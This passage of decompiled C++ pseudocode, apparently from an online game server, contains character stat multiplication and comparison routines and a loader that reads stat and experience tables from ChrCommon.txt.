((unsigned int)v4 >> 31); } v5 = c->Dex; if ( v5 != 1000 ) v2->Dex = ((signed int)((unsigned __int64)(v5 * v2->Dex * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v5 * v2->Dex * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v6 = c->Int; if ( v6 != 1000 ) { v7 = (signed int)((unsigned __int64)(v6 * v2->Int * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->Int = v7 + ((unsigned int)v7 >> 31); } v8 = c->Men; if ( v8 != 1000 ) v2->Men = ((signed int)((unsigned __int64)(v8 * v2->Men * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v8 * v2->Men * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v9 = c->WCmin; if ( v9 != 1000 ) { v10 = (signed int)((unsigned __int64)(v9 * v2->WCmin * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->WCmin = v10 + ((unsigned int)v10 >> 31); } v11 = c->WCmax; if ( v11 != 1000 ) v2->WCmax = ((signed int)((unsigned __int64)(v11 * v2->WCmax * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v11 * v2->WCmax * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v12 = c->AC; if ( v12 != 1000 ) { v13 = (signed int)((unsigned __int64)(v12 * v2->AC * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->AC = v13 + ((unsigned int)v13 >> 31); } v14 = c->TH; if ( v14 != 1000 ) v2->TH = ((signed int)((unsigned __int64)(v14 * v2->TH * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v14 * v2->TH * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v15 = c->TB; if ( v15 != 1000 ) { v16 = (signed int)((unsigned __int64)(v15 * v2->TB * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->TB = v16 + ((unsigned int)v16 >> 31); } v17 = c->MAmin; if ( v17 != 1000 ) v2->MAmin = ((signed int)((unsigned __int64)(v17 * v2->MAmin * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v17 * v2->MAmin * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v18 = c->MAmax; if ( v18 != 1000 ) { v19 = (signed int)((unsigned __int64)(v18 * v2->MAmax * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->MAmax = v19 + ((unsigned int)v19 >> 31); } v20 = c->MR; if ( v20 != 1000 ) v2->MR = ((signed int)((unsigned __int64)(v20 * v2->MR * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v20 * v2->MR * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v21 = c->MH; if ( v21 != 1000 ) { v22 = (signed int)((unsigned __int64)(v21 * v2->MH * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->MH = v22 + ((unsigned int)v22 >> 31); } v23 = c->MB; if ( v23 != 1000 ) v2->MB = ((signed int)((unsigned __int64)(v23 * v2->MB * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v23 * v2->MB * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v24 = c->AbsoluteAttack; if ( v24 != 1000 ) { v25 = (signed int)((unsigned __int64)(v24 * v2->AbsoluteAttack * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->AbsoluteAttack = v25 + ((unsigned int)v25 >> 31); } v26 = c->AbsoluteDefend; if ( v26 != 1000 ) v2->AbsoluteDefend = ((signed int)((unsigned __int64)(v26 * v2->AbsoluteDefend * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v26 * v2->AbsoluteDefend * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v27 = c->AbsoluteHit; if ( v27 != 1000 ) { v28 = (signed int)((unsigned __int64)(v27 * v2->AbsoluteHit * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->AbsoluteHit = v28 + ((unsigned int)v28 >> 31); } v29 = c->AbsoluteBlock; if ( v29 != 1000 ) v2->AbsoluteBlock = ((signed int)((unsigned __int64)(v29 * v2->AbsoluteBlock * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v29 * v2->AbsoluteBlock * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v30 = c->MoveSpeed; if ( v30 != 1000 ) { v31 = (signed int)((unsigned __int64)(v30 * v2->MoveSpeed * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->MoveSpeed = v31 + ((unsigned int)v31 >> 31); } v32 = c->HPRecover; if ( v32 != 1000 ) v2->HPRecover = ((signed int)((unsigned __int64)(v32 * v2->HPRecover * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v32 * v2->HPRecover * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v33 = c->SPRecover; if ( v33 != 1000 ) { v34 = (signed int)((unsigned __int64)(v33 * v2->SPRecover * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->SPRecover = v34 + ((unsigned int)v34 >> 31); } v35 = c->CastingTime; if ( v35 != 1000 ) v2->CastingTime = ((signed int)((unsigned __int64)(v35 * v2->CastingTime * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v35 * v2->CastingTime * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v36 = c->Critical; if ( v36 != 1000 ) { v37 = (signed int)((unsigned __int64)(v36 * v2->Critical * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->Critical = v37 + ((unsigned int)v37 >> 31); } v38 = c->PhisycalWeaponMastery; if ( v38 != 1000 ) v2->PhisycalWeaponMastery = ((signed int)((unsigned __int64)(v38 * v2->PhisycalWeaponMastery * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v38 * v2->PhisycalWeaponMastery * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v39 = c->MagicalWeaponMastery; if ( v39 != 1000 ) { v40 = (signed int)((unsigned __int64)(v39 * v2->MagicalWeaponMastery * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->MagicalWeaponMastery = v40 + ((unsigned int)v40 >> 31); } v41 = c->ShieldAC; if ( v41 != 1000 ) v2->ShieldAC = ((signed int)((unsigned __int64)(v41 * v2->ShieldAC * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v41 * v2->ShieldAC * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v42 = c->HitRate; if ( v42 != 1000 ) { v43 = (signed int)((unsigned __int64)(v42 * v2->HitRate * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->HitRate = v43 + ((unsigned int)v43 >> 31); } v44 = c->EvaRate; if ( v44 != 1000 ) v2->EvaRate = ((signed int)((unsigned __int64)(v44 * v2->EvaRate * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v44 * v2->EvaRate * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v45 = c->MACri; if ( v45 != 1000 ) { v46 = (signed int)((unsigned __int64)(v45 * v2->MACri * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->MACri = v46 + ((unsigned int)v46 >> 31); } v47 = c->CriDam; if ( v47 != 1000 ) v2->CriDam = ((signed int)((unsigned __int64)(v47 * v2->CriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v47 * v2->CriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v48 = c->CriDam; if ( v48 != 1000 ) { v49 = (signed int)((unsigned __int64)(v48 * v2->CriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->CriDam = v49 + ((unsigned int)v49 >> 31); } v50 = c->MagCriDam; if ( v50 != 1000 ) v2->MagCriDam = ((signed int)((unsigned __int64)(v50 * v2->MagCriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v50 * v2->MagCriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::operator *="); } //----- (00491C00) -------------------------------------------------------- void __thiscall Parameter::Cluster::c_compareelement(Parameter::Cluster *this, unsigned int curr, unsigned int last, int flag, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::c_compareelement"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::c_compareelement"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( curr != last ) { *(&changepacket[4 * changepacket->changenum + 1].changenum + changepacket->changenum) = flag; *(_DWORD *)(&changepacket[4 * changepacket->changenum + 2].changenum + changepacket->changenum) = curr; ++changepacket->changenum; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::c_compareelement"); } //----- (00491C90) -------------------------------------------------------- int __thiscall Parameter::Cluster::c_compare(Parameter::Cluster *this, Parameter::Cluster *last, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket) { Parameter::Cluster *v3; // esi@1 int v4; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::c_compare"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::c_compare"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Parameter::Cluster::c_compareelement(v3, v3->Str, last->Str, 0, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Con, last->Con, 1, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Dex, last->Dex, 2, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Int, last->Int, 3, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Men, last->Men, 5, changepacket); Parameter::Cluster::c_compareelement(v3, v3->WCmin, last->WCmin, 6, changepacket); Parameter::Cluster::c_compareelement(v3, v3->WCmax, last->WCmax, 7, changepacket); Parameter::Cluster::c_compareelement(v3, v3->AC, last->AC, 8, changepacket); Parameter::Cluster::c_compareelement(v3, v3->TH, last->TH, 9, changepacket); Parameter::Cluster::c_compareelement(v3, v3->TB, last->TB, 10, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MAmin, last->MAmin, 11, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MAmax, last->MAmax, 12, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MR, last->MR, 13, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MH, last->MH, 14, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MB, last->MB, 15, changepacket); v4 = changepacket->changenum; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::c_compare"); return v4; } //----- (00491E40) -------------------------------------------------------- void __thiscall Parameter::Container::c_MakeTotal(Parameter::Container *this) { Parameter::Container *v1; // ebx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Container::c_MakeTotal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Container::c_MakeTotal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy(&v1->Total, ¶meter_eraser_plus, sizeof(v1->Total)); Parameter::Cluster::operator__(&v1->Total, &v1->PureCharParam); Parameter::Cluster::operator__(&v1->Total, &v1->Item.Plus); Parameter::Cluster::operator__(&v1->Total, &v1->ItemPowerRate.Rate); Parameter::Cluster::operator__(&v1->Total, &v1->AbnormalState.Rate); Parameter::Cluster::operator__(&v1->Total, &v1->PassiveSkill.Rate); Parameter::Cluster::operator__(&v1->Total, &v1->Upgrade.Plus); Parameter::Cluster::operator__(&v1->Total, &v1->PassiveSkill.Plus); Parameter::Cluster::operator__(&v1->Total, &v1->AbnormalState.Plus); Parameter::Cluster::operator__(&v1->Total, &v1->LastTune.Plus); Parameter::Cluster::operator__(&v1->Total, &v1->LastTune.Rate); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Container::c_MakeTotal"); } //----- (00491F70) -------------------------------------------------------- void __thiscall ShineCommonParameter::scp_Load(ShineCommonParameter *this, Name4 *world) { ShineCommonParameter *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 int v5; // eax@1 int v6; // eax@2 void *v7; // eax@5 void *v8; // eax@5 void *v9; // eax@5 void *v10; // eax@5 void *v11; // eax@5 void *v12; // eax@5 void *v13; // eax@5 void *v14; // eax@5 int v15; // eax@35 int v16; // edx@35 void *v17; // ecx@35 int v18; // eax@35 void *v19; // edx@35 int v20; // ecx@35 int v21; // eax@35 void *v22; // edx@35 int v23; // ebp@35 double v24; // st7@35 int v25; // edi@35 int v26; // ecx@35 void *v27; // eax@35 void *v28; // edx@35 int v29; // ecx@35 void *v30; // eax@37 bool v31; // zf@40 int v32; // ebp@43 unsigned int v33; // eax@44 unsigned int v34; // ecx@44 unsigned __int64 v35; // qax@44 unsigned int v36; // ecx@44 unsigned __int64 v37; // kr08_8@44 bool v38; // cf@45 int v39; // edi@46 int v40; // ebp@46 void *v41; // eax@47 int v42; // edi@54 int v43; // ebp@54 void *v44; // eax@55 int v45; // edi@62 int v46; // ebp@62 void *v47; // eax@63 int v48; // edi@70 int v49; // ebp@70 void *v50; // eax@71 int v51; // edi@78 int v52; // ebp@78 void *v53; // eax@79 ORToken v54; // [sp-24h] [bp-160h]@5 int v55; // [sp-20h] [bp-15Ch]@5 int v56; // [sp-1Ch] [bp-158h]@5 int v57; // [sp-18h] [bp-154h]@5 int v58; // [sp-14h] [bp-150h]@5 char *v59; // [sp-10h] [bp-14Ch]@5 char *v60; // [sp-Ch] [bp-148h]@5 int v61; // [sp-8h] [bp-144h]@5 int *v62; // [sp-4h] [bp-140h]@5 int i; // [sp+10h] [bp-12Ch]@5 int *v64; // [sp+14h] [bp-128h]@37 char rst; // [sp+1Bh] [bp-121h]@2 ShineCommonParameter::CommonParameter **v66; // [sp+1Ch] [bp-120h]@35 int shoutdelay; // [sp+20h] [bp-11Ch]@5 int v68; // [sp+24h] [bp-118h]@5 int RestExpRate; // [sp+28h] [bp-114h]@5 int v70; // [sp+2Ch] [bp-110h]@5 int runspeed; // [sp+30h] [bp-10Ch]@5 void *v72; // [sp+34h] [bp-108h]@5 int MinNeedTime; // [sp+38h] [bp-104h]@5 void *v74; // [sp+3Ch] [bp-100h]@5 int attackspeed; // [sp+40h] [bp-FCh]@5 int v76; // [sp+44h] [bp-F8h]@5 int DefaultBonusTime; // [sp+48h] [bp-F4h]@5 int v78; // [sp+4Ch] [bp-F0h]@5 int walkspeed; // [sp+50h] [bp-ECh]@5 int v80; // [sp+54h] [bp-E8h]@5 int shoutlevel; // [sp+58h] [bp-E4h]@5 void *v82; // [sp+5Ch] [bp-E0h]@5 int maxexpbonus; // [sp+60h] [bp-DCh]@5 int v84; // [sp+64h] [bp-D8h]@5 int levellimit; // [sp+68h] [bp-D4h]@5 void *v86; // [sp+6Ch] [bp-D0h]@5 int AddBuffTime; // [sp+70h] [bp-CCh]@5 void *v88; // [sp+74h] [bp-C8h]@5 int IntervalTime; // [sp+78h] [bp-C4h]@5 void *v90; // [sp+7Ch] [bp-C0h]@5 FunctionEntarance _; // [sp+80h] [bp-BCh]@1 int MaxBuffTime; // [sp+84h] [bp-B8h]@5 int v93; // [sp+88h] [bp-B4h]@5 int buf; // [sp+8Ch] [bp-B0h]@1 int v95; // [sp+90h] [bp-ACh]@1 int v96; // [sp+94h] [bp-A8h]@1 int v97; // [sp+98h] [bp-A4h]@1 char v98; // [sp+9Ch] [bp-A0h]@1 char path[128]; // [sp+ACh] [bp-90h]@1 unsigned int cookie; // [sp+12Ch] [bp-10h]@86 int v101; // [sp+138h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineCommonParameter::scp_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineCommonParameter::scp_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineCommonParameter::scp_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v5 = *(_DWORD *)&world->n4_name[12]; v95 = v3; v96 = v4; v101 = 0; v97 = v5; v98 = 0; sprintf(path, "../9Data/Shine/World/%s/ChrCommon.txt"); if ( !OptionReader::or_Read(&v2->scp_or, path) ) { sprintf(path, "../9Data/Shine/World/ChrCommon.txt"); rst = OptionReader::or_Read(&v2->scp_or, path); v6 = OptionReader::or_ErrorLine(&v2->scp_or); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "PrimaryParameterTable::ppt_Load : Error in read : ChrCommon.txt", v6); ShineExit("ShineCommonParameter::scp_Load"); } } v62 = &runspeed; v61 = 0; v60 = "RunSpeed"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v7 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &walkspeed; v61 = 0; v60 = "WalkSpeed"; v72 = v7; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v8 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &shoutlevel; v61 = 0; v60 = "ShoutLevel"; v80 = (int)v8; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v82 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &attackspeed; v61 = 0; v60 = "AttackSpeed"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v9 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &shoutdelay; v61 = 0; v60 = "ShoutDelay"; v76 = (int)v9; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v10 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &levellimit; v61 = 0; v60 = "LevelLimit"; v68 = (int)v10; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v86 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &maxexpbonus; v61 = 0; v60 = "MaxExpBonus"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v11 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &RestExpRate; v61 = 0; v60 = "RestExpRate"; v59 = "key"; v84 = (int)v11; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v12 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &MinNeedTime; v61 = 0; v60 = "MinNeedTime"; v70 = (int)v12; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v74 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &DefaultBonusTime; v61 = 0; v60 = "DefaultBonusTime"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v13 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &IntervalTime; v61 = 0; v60 = "IntervalTime"; v78 = (int)v13; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v90 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &AddBuffTime; v61 = 0; v60 = "AddBuffTime"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v88 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v62 = &MaxBuffTime; v61 = 0; v60 = "MaxBuffTime"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v14 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, v62); v93 = (int)v14; if ( !v72 || !v80 || !v86 || !v84 || !v76 || !v82 || !v68 || !v70 || !v74 || !v78 || !v90 || !v88 || !v14 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : NULL(MaxExpBonus)", 0); ShineExit("ShineCommonParameter::scp_Load"); } if ( runspeed != 5 || walkspeed != 5 || levellimit != 5 || maxexpbonus != 5 || attackspeed != 5 || shoutlevel != 5 || shoutdelay != 5 || RestExpRate != 5 || MinNeedTime != 5 || DefaultBonusTime != 5 || IntervalTime != 5 || AddBuffTime != 5 || MaxBuffTime != 5 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : TYPE(MaxExpBonus)", 0); ShineExit("ShineCommonParameter::scp_Load"); } v15 = v80; v2->scp_param.chrrunspeed = *(_DWORD *)v72; v16 = v76; v2->scp_param.chrwalkspeed = *(_DWORD *)v15; v17 = v82; v2->scp_param.chrattackspeed = *(_DWORD *)v16; v18 = v68; v2->scp_param.shoutlevel = *(_DWORD *)v17; v19 = v86; v2->scp_param.shoutdelay = *(_DWORD *)v18; v20 = v84; v2->scp_param.levellimit = *(_BYTE *)v19; v21 = v70; i = *(_WORD *)v20; v22 = v74; v23 = 1; v24 = (double)i; i = 1; v25 = (int)&v2->scp_param.nextexp[1]; v2->scp_param.maxexpbonus = v24 * 0.001; v2->scp_param.RestExpRate = *(_DWORD *)v21; v26 = v78; v2->scp_param.MinNeedTime = *(_DWORD *)v22; v27 = v90; v2->scp_param.DefaultBonusTime = *(_DWORD *)v26; v28 = v88; v2->scp_param.IntervalTime = *(_DWORD *)v27; v29 = v93; v2->scp_param.AddBuffTime = *(_DWORD *)v28; v2->scp_param.MaxBuffTime = *(_DWORD *)v29; LODWORD(v2->scp_param.nextexp[0]) = 0; HIDWORD(v2->scp_param.nextexp[0]) = 0; v66 = &v2->scp_param.commonparam[1]; while ( 1 ) { v62 = 0; v61 = v23; v60 = "level"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "StatTable", 0x14u); v30 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *v66 = (ShineCommonParameter::CommonParameter *)v30; if ( v30 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error in commonparam", v23); ShineExit("ShineCommonParameter::scp_Load"); } v31 = (*v66)->level != (*v66)->checksum; v64 = (int *)((*v66)->level == (*v66)->checksum); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in commonparam", v23); ShineExit("ShineCommonParameter::scp_Load"); } v32 = (int)(*v66)->nextexp; *(_DWORD *)v25 = 0; for ( *(_DWORD *)(v25 + 4) = 0; *(_BYTE *)v32; *(_QWORD *)v25 = v37 ) { v33 = *(_DWORD *)(v25 + 4); v34 = *(_DWORD *)v25; *(_QWORD *)&v61 = 10i64; *(_QWORD *)&v59 = __PAIR__(v33, v34); v35 = 10 * __PAIR__(v33, v34); *(_DWORD *)v25 = v35; v36 = *(_DWORD *)v25; *(_DWORD *)(v25 + 4) = HIDWORD(v35); v37 = (signed int)*(_BYTE *)v32++ - 48 + __PAIR__(*(_DWORD *)(v25 + 4), v36); } v25 += 8; v38 = (unsigned int)(i++ + 1) < 0x97; ++v66; if ( !v38 ) break; v23 = i; } v2->scp_param.commonparam[0] = v2->scp_param.commonparam[1]; v39 = 0; v40 = (int)v2->scp_param.freestatStr; do { v62 = 0; v61 = v39; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatStrTable", 0x14u); v41 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v40 = v41; if ( v41 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatStr", v39); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v40 != *(_BYTE *)(*(_DWORD *)v40 + 3); v64 = (int *)(**(_BYTE **)v40 == *(_BYTE *)(*(_DWORD *)v40 + 3)); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatStr", v39); ShineExit("ShineCommonParameter::scp_Load"); } ++v39; v40 += 4; } while ( (unsigned int)v39 < 0x97 ); v42 = 0; v43 = (int)v2->scp_param.freestatInt; do { v62 = 0; v61 = v42; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatIntTable", 0x14u); v44 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v43 = v44; if ( v44 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatInt", v42); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v43 != *(_BYTE *)(*(_DWORD *)v43 + 3); v64 = (int *)(**(_BYTE **)v43 == *(_BYTE *)(*(_DWORD *)v43 + 3)); if ( v31 ) { 